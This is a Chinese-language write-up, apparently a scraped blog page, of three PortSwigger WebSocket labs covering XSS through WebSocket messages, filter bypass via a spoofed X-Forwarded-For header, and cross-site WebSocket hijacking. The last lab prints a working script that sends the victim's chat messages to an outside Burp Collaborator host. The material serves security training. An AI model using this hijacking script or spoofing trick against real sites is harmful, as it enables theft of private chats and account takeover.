Portswigger web security academy：WebSockets

Portswigger web security academy：WebSockets
- Lab: Manipulating WebSocket messages to exploit vulnerabilities
- Lab: Manipulating the WebSocket handshake to exploit vulnerabilities
- Lab: Cross-site WebSocket hijacking

Lab: Manipulating WebSocket messages to exploit vulnerabilities

题目描述
- 在线商城有一个用WebSockets实现的在线聊天功能
- 你提交的聊天消息会被辅助客户端实时查看
要求
- 使用WebScoket消息触发alert()
解题步骤
- 只是把HTTP协议换成WebSockets协议，核心思想方法没有变
- 在WebSockets history中把发送信息的请求包发送到Repeater
- 把消息内容修改为xss payload

Lab: Manipulating the WebSocket handshake to exploit vulnerabilities

题目描述
- 在线商城有一个用WebSockets实现的在线聊天功能
- 它有一个主动但是存在缺陷的XSS过滤器
要求
- 使用WebScoket消息触发alert()
解题过程
- 测一下过滤了些啥：（连接失败后，利用X-Forwarded-For伪造IP重置连接即可）
  - 过滤了n多标签，iframe可用
  - 过滤了()
  - 过滤了onxxxx事件
  - 过滤了javascript
- 最后的payload和solution一样 </code></li> </ul> </li> </ul> <h2 id="lab-cross-site-websocket-hijacking">Lab: Cross-site WebSocket hijacking</h2> <ul> <li> <p>题目描述</p> <ul> <li>在线商城有一个用<code>WebSockets</code>实现的在线聊天功能</li> </ul> </li> <li> <p>要求</p> <ul> <li>使用exploit server构造一个跨站点WebSocket劫持攻击，来获取受害者的聊天历史，并接管账号</li> </ul> </li> <li> <p>解题过程</p> <ul> <li> <p>websocket劫持和利用iframe通信进行csrf比较类似，通过事件绑定来返回数据</p> </li> <li> <p>脚本参考solution，没有考虑到<code>onopen</code>事件的处理</p> </li> <li> <pre><code class="language-http"><script> websocket = new WebSocket('wss://ac9c1ff41e8e379c807359aa0094001e.web-security-academy.net/chat') websocket.onopen = function start(event) { websocket.send("READY"); } websocket.onmessage = function handleReply(event) { fetch('https://4bg8qgdszeud8bkot06y0rrg177xvm.burpcollaborator.net/?'+event.data, {mode: 'no-cors'}) } </script> </code></pre> </li> </ul> </li> </ul> </div>  <div class="p-2"></div> <div class="arcinfo my-3 fs-7 text-center"> <a href='/t/etagid1134-0.html' class='tagbtn' target='_blank'>靶场</a><a href='/t/etagid29959-0.html' class='tagbtn' target='_blank'>websockets</a> </div> <div class="p-2"></div> </div> <div class="p-2"></div>  <div class="lbox p-4 shadow-sm rounded-3"> <div class="boxtitle"><h2 class="fs-4">相关</h2></div> <hr> <div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-555880.html">[Pikachu 靶场] 8-不安全文件上传</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-530186.html">文件上传、下载漏洞解析及靶场复现</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-457379.html">【Microsoft Azure 的1024种玩法】十三.Azure cloud｜带你快速上手DVWA漏洞靶场</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-438573.html">记一次靶场渗透记录</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-404437.html">vulnhub 靶场 HACKATHONCTF: 2</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-382958.html">Upload-labs文件上传靶场通关教程🐶</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-368996.html">webgoat靶场搭建</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-525376.html">Portswigger web security academy：DOM-based vulnerabilities</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-464025.html">Portswigger web security academy：DOM-based vulnerabilities</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-329628.html">Portswigger web security academy：DOM-based vulnerabilities</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-316428.html">Portswigger web security academy：DOM-based vulnerabilities</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div><div class="row g-0 py-2 border-bottom align-items-center"> <div class="col-7 col-lg-11 border-lg-end"> <h3 class="fs-6 mb-0 mb-lg-2"><a href="/a/1-283690.html">Web For Pentester靶场</a></h3> <div class="ltag fs-8 d-none d-lg-block"> </div> </div> </div>   </div>  </div> <div class="col-lg-3 col-12 p-0 ps-lg-2">     <div class="lbox p-4 shadow-sm rounded-3"> <div class="boxtitle pb-2"><h2 class="fs-4"><a href="#">标签</a></h2></div> <div class="clearfix"></div> <ul class="m-0 p-0 fs-7 r-tag"> </ul> <div class="clearfix"></div> </div>  </div> </div> </div> </main> <div class="p-2"></div> <footer> <div class="container-fluid p-0 bg-black"> <div class="container p-0 fs-8"> <p class="text-center m-0 py-2 text-white-50">一品网 <a class="text-white-50" href="https://beian.miit.gov.cn/" target="_blank">冀ICP备14022925号-6</a></p> </div> </div> <script> var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?6e3dd49b5f14d985cc4c6bdb9248f52b"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); </script> </footer> <script src="/skin/bootstrap.bundle.js"></script> </body> </html>